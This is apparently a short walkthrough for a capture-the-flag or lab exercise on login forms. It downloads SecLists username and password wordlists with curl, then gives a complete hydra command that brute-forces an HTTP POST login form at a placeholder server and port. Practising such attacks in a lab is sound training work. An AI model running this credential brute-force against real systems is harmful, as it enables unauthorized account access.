Login Forms

After successfully brute-forcing, and then logging into the target, what is the full flag you find?

Getting the flag:

Step 1 - Download the username and password wordlist:

• curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/top-usernames-shortlist.txt

• curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt

Step 2 - Execute the command:

• hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f SERVER_IP -s SERVER_PORT http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"

Step 3:

• Login with the founded credentials.